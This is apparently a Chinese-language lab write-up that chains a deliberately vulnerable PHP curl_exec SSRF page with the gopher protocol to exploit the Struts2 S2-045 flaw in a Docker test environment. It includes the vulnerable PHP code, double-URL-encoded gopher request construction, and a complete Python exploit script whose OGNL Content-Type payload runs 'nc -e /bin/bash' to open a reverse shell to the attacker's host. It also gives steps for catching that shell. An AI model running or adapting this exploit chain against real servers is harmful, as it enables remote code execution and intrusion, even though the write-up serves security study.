天天看点

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

SSRF+gopher协议渗透struts2

实验主机

windows10 192.168.1.120 #SSFR漏洞主机

centos8搭建struts2-045环境 192.168.1.106

实验环境

  • SSRF漏洞代码curl_exec.php:

php版本>5.3才可使用gopher协议

可用var_dump(curl_version())来调试

#win10主机 curl_exec.php
<?php
$url = $_GET['url'];
#var_dump(curl_version());  #输出curl支持的协议
$curlobj = curl_init($url);  //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj);  //执行 cURL 会话
?>
           

测试一下环境:

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2
SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

window10的SSRF环境搭建完毕。

  • 测试代码get.php:
<?php
	echo "Hello ,".$_GET["name"]."!";
?>
           

尝试用gopher协议调用此代码,先构造一个get请求头

GET /ssrf/get.php?name=qianxun HTTP/1.1
Host:192.168.1.120
           

构造gopher协议请求

gopher://192.168.1.120:80/_GET%20/ssrf/get.php%3fname=qianxun%20HTTP/1.1%0d%0aHost:192.168.1.120%0d%0a
           

使用curl工具尝试发送:

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

成功!

在url中发送,由于apache会自动进行一次url解码,所以为了让gopher协议能正常发送,所以要再进行一次url编码即:

gopher://192.168.1.120:80/_GET%2520/ssrf/get.php%253Fname=qianxun%2520HTTP/1.1%250d%250aHost:192.168.1.120%250d%250a
           
SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

成功!

实验过程

调试好环境之后正戏开始

结合SSRF利用gopher协议渗透struts2

物理机SSRF漏洞代码,也就是上面的curl_exec.php:

<?php
$url = $_GET['url'];
#var_dump(curl_version());
$curlobj = curl_init($url);  //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj);  //执行 cURL 会话
?>
           

docker拉取镜像搭建s2-045环境:

service docker start  #开启docker服务
cd /usr/sbin/vulhub/struts2/s2-045  #进入s2-045目录
docker-compose up -d   #启动容器
docker ps  #查看docker容器进程
           

在物理机上用浏览器访问

http://192.168.1.106:8080

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

至此s2-045漏洞环境搭建完毕。

这里有个坑,我是用centos8搭建docker环境的,因为当时重启了一下network服务导致浏览器无法访问容器的8080端口,百度了好多资料,说是当FirewallD启动(或重新启动)时,会从iptables中删除DOCKER链,造成Docker不能正常工作,解决方法是手动重启出问题的Docker daemon服务。

service docker restart

最终解决了,如果你也有同样的问题,请参考文章

从网上找到大佬的exp,原版是用python2编写的,我换成python3修改了一下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://192.168.1.120/ssrf/curl_exec.php?url="
header = """gopher://192.168.1.106:8080/_GET / HTTP/1.1
Host:192.168.1.106
Content-Type:"""  #设置get请求头
cmd = "nc -e /bin/bash 192.168.1.120 6666"   #用nc反弹shell
content_type = """%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.1.120 6666').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@org.apache.commons.io.[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"""   #这是content-Type字段的POC
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 编码请求头
for single_char in header:
    if single_char in url_char:
        header_encoder += quote(quote(single_char,'utf-8'),'utf-8')
    else:
        header_encoder += single_char

header_encoder = header_encoder.replace("\n",quote(quote(nr,'utf-8'),'utf-8'))

# 编码content-type,第一次编码
for single_char in content_type:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print(exp)
request = urllib.request.Request(exp)
response = urllib.request.urlopen(request).read()
print(response)
           

复现过程:

在物理机上用nc开启端口监听:

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2

重新开启一个窗口运行exp:

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2
在第一次做的时候报了一个错误:
SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2
这是因为容器中默认是没有安装nc的,所以要进入镜像安装nc
docker ps   #查看你的镜像id
docker exec -it (你的镜像id) /bin/bash   #进入镜像
apt-get update  #更新软件列表
apt-get install nc  #安装nc
           
然后再重试上面的步骤。

成功反弹shell:

SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2
  • 关于gopher协议中的编码问题:

    gopher协议格式:gopher://ip:port/占位符+编码后的原始数据包

    gopher协议在传输时需要对空格(%20)、?(%3f)、回车换行(%0d%0a)进行编码。

    若是在命令行下传输,则只需要编码一次。

    curl gopher://ip:port/......

    若是拼接到url中传输,由于web容器会自动解码一次所以需要二次url编码。

    http://ip/curl_exec.php?url=gopher://ip:port/......

  • 对于content-type后面poc字段的url编码

    可以丢到burp中二次编码,也可以先转换成ascii码再转换成十六进制,然后将十六进制前的0x换成%。

继续阅读